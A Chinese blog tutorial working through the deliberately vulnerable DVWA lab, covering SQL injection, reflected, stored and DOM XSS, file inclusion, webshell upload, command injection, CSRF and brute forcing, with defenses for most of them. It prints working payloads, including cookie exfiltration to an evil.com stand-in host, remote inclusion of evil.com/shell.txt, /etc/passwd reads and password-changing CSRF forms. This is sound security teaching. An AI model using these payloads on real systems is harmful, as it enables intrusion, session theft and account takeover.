尧图建网站 尧图建网站 YAOTU WEB BUILD 免费咨询
ARTICLE DETAIL

资讯详情

深耕网站建设与建站编程的一线实战洞察。

DVWA靶场实战:从SQL注入到XSS的网络安全入门

DVWA靶场实战:从SQL注入到XSS的网络安全入门 1. 为什么选择DVWA作为网络安全入门靶场DVWADamn Vulnerable Web Application是我推荐给所有网络安全新手的第一个实战靶场。这个用PHP/MySQL开发的Web应用故意设计了一系列常见安全漏洞从SQL注入到XSS跨站脚本应有尽有。与其他商业靶场相比它有三大不可替代的优势首先DVWA的漏洞实现非常标准。比如它的SQL注入点就是教科书式的字符串拼接漏洞不像某些商业靶场会故意设置混淆干扰。这对建立正确的漏洞认知特别重要——就像学数学要先掌握标准公式再接触变形题。其次它提供从Low到Impossible四个安全等级。Low级别对应毫无防护的原始漏洞High级别会展示一些基础防护措施而Impossible则演示了彻底修复的方案。这种渐进式设计能让你直观理解漏洞的演变过程。我在带新人时发现一个现象很多初学者在Burp Suite里看到一堆请求参数就发懵。DVWA的界面极度简洁一个页面就一个核心功能点比如登录框这种去干扰化设计让新手能专注在漏洞原理本身。2. 十分钟快速搭建DVWA实验环境2.1 准备PHPStudy集成环境Windows平台推荐使用PHPStudy 2018版注意不是新版因为DVWA对PHP5.x兼容性更好。下载后直接安装重点检查三个组件Apache 2.4.39PHP 5.4.45MySQL 5.7.26安装完成后在www目录下新建dvwa文件夹将下载的DVWA源码解压至此。此时访问http://localhost/dvwa应该能看到安装引导页面。注意如果遇到403错误需要修改Apache的httpd.conf文件找到Directory /节点将Require all denied改为Require all granted2.2 数据库配置技巧修改config/config.inc.php文件中的数据库连接信息$_DVWA[ db_user ] root; $_DVWA[ db_password ] root;这里有个新手常踩的坑PHPStudy的MySQL默认密码可能是root、123456或者空密码。如果连接失败先用MySQL命令行尝试不同组合。初始化数据库时如果遇到Could not connect to MySQL database错误试试以下排查步骤确认MySQL服务已启动PHPStudy面板显示绿灯在命令行执行mysql -uroot -p测试密码有效性检查dvwa数据库是否创建成功CREATE DATABASE dvwa3. 从Low到High的SQL注入实战3.1 Low级别经典注入解剖在DVWA Security设置为Low后进入SQL Injection页面。输入1 and 11 --时页面正常返回而1 and 12 --无结果这就是典型的布尔型注入特征。用Burp Suite抓包观察会发现后端执行的SQL是SELECT first_name, last_name FROM users WHERE user_id $id我们的输入直接拼接进SQL语句导致注入。此时可以构造1 union select 1,concat(user,:,password) from mysql.user --这个payload会暴露出MySQL的系统用户密码哈希但要注意两点DVWA的MySQL用户通常只有本地权限默认情况下mysql.user表对dvwa用户不可读3.2 Medium级别的过滤绕过将安全等级调到Medium后发现之前的单引号注入失效了。查看源码发现用了mysql_real_escape_string()函数处理输入。但仔细观察表单发现变成了下拉菜单select nameid option value11/option ... /select这种场景下可以用Burp拦截修改option的value值将1改为1 union select 1,version需要把空格替换成/**/绕过过滤3.3 High级别的二次注入High级别采用了预处理语句看似无懈可击。但仔细分析发现当点击View Source查看代码时存在另一个注入点$file $_GET[file]; include($file . .php);这里可以用空字节截断攻击filedvwa/css/../../config/config%00这会泄露数据库配置文件其中包含MySQL凭据。这种漏洞在CMS系统中很常见比如WordPress的插件漏洞。4. XSS漏洞的三种形态实战4.1 反射型XSS攻防在Low级别的XSS reflected页面直接输入scriptalert(document.cookie)/script会弹出当前会话cookie。升级到Medium级别后发现script标签被过滤。此时可以用img srcx onerroralert(1)High级别会检查所有HTML事件属性但可以用SVG标签绕过svg/onloadalert(1)4.2 存储型XSS的持久化攻击在XSS stored页面留言板功能未做任何过滤。注入iframe srchttp://evil.com/steal.php?cookiedocument.cookie所有访问该页面的用户cookie都会被发送到攻击者服务器。防御这种攻击需要前端用DOMPurify库净化HTML后端设置HttpOnly属性的cookieCSP策略限制外部资源加载4.3 DOM型XSS的客户端漏洞在DOM页面选择语言时URL参数为?defaultEnglish修改为?defaultscriptalert(1)/script这种漏洞的特点是不经过服务器处理浏览器直接执行恶意脚本常规WAF无法防护5. 文件包含与上传漏洞组合拳5.1 本地文件包含(LFI)在File Inclusion页面Low级别的代码include($_GET[page] . .php);可以构造?page../../../../etc/passwd%00读取系统敏感文件。防御措施禁用allow_url_include白名单校验包含文件使用basename()处理路径5.2 远程文件包含(RFI)当allow_url_fopenOn时可以?pagehttp://evil.com/shell.txt直接包含远程恶意代码。在PHPStudy中需要修改php.iniallow_url_fopen Off allow_url_include Off5.3 文件上传webshell在Upload页面Low级别仅校验Content-Type。可以准备图片马copy 1.jpg/b shell.php/a shell.jpg用Burp修改Content-Type为image/jpeg上传后访问/dvwa/hackable/uploads/shell.jpg.php6. 命令注入的三种防御层级6.1 Low级别的管道符注入在Command Injection页面输入127.0.0.1 whoami会执行ping命令后接着执行whoami。Windows下还可以127.0.0.1 | net user6.2 Medium级别的黑名单绕过查看源码发现过滤了和;但可以用127.0.0.1 -n 1 || netstat -an||在第一条命令失败时执行后续命令6.3 High级别的彻底防护Impossible级别采用了白名单校验$target stripslashes( $target ); if( stristr( php_uname( s ), Windows NT ) ) { $cmd shell_exec( ping . $target ); } else { $cmd shell_exec( ping -c 4 . $target ); }这种防御方式只允许特定参数根据系统类型动态构造命令使用escapeshellarg()处理输入7. CSRF漏洞的钓鱼实战7.1 修改密码的GET型CSRF在Low级别的CSRF页面修改密码的请求是http://dvwa/vulnerabilities/csrf/?password_new123password_conf123ChangeChange#可以构造钓鱼页面img srchttp://dvwa/vulnerabilities/csrf/?password_newhackpassword_confhackChangeChange#当管理员访问该页面时密码就被修改了7.2 POST型CSRF的自动提交Medium级别改用POST表单后可以用form actionhttp://dvwa/vulnerabilities/csrf/ methodPOST input typehidden namepassword_new valuehack input typehidden namepassword_conf valuehack input typehidden nameChange valueChange /form scriptdocument.forms[0].submit()/script7.3 防御CSRF的三大措施使用随机Tokeninput typehidden nametoken value?$_SESSION[token]?检查Referer头关键操作要求二次认证8. 暴力破解与防御策略8.1 基于Burp的暴力破解在Brute Force页面用Burp抓取登录请求后发送到Intruder模块设置攻击类型为Cluster bomb加载用户名和密码字典根据响应长度或内容判断成功尝试8.2 验证码的绕过方法当遇到验证码时检查验证码是否与session绑定尝试重复使用同一验证码用OCR识别简单验证码检查验证码是否在客户端生成8.3 账户锁定的缺陷分析很多系统会锁定错误尝试过多的账户但这会导致攻击者故意锁定管理员账号业务高峰期造成服务不可用 更好的做法是渐进式延迟响应可疑IP限速异地登录二次验证9. 从DVWA到真实渗透测试完成DVWA所有关卡后建议尝试Vulnhub上的Metasploitable2Hack The Box的Starting Point机器自己搭建WordPress测试漏洞真实渗透与靶场的区别在于需要自己识别输入点WAF和IDS会拦截攻击系统配置更加复杂需要清理攻击痕迹10. 网络安全学习路线建议根据我带新人的经验推荐的学习路径先掌握HTTP协议和Burp Suite通过DVWA理解OWASP Top 10学习Linux基础命令和网络配置尝试CTF比赛中的Web题型研究CVE漏洞的利用过程工具链建议代理工具Burp Suite Pro漏洞扫描Nessus密码破解Hashcat网络探测Nmap最后提醒所有渗透测试必须获得书面授权未经授权的测试可能构成计算机犯罪。建议在虚拟机环境练习不要影响真实系统。
返回列表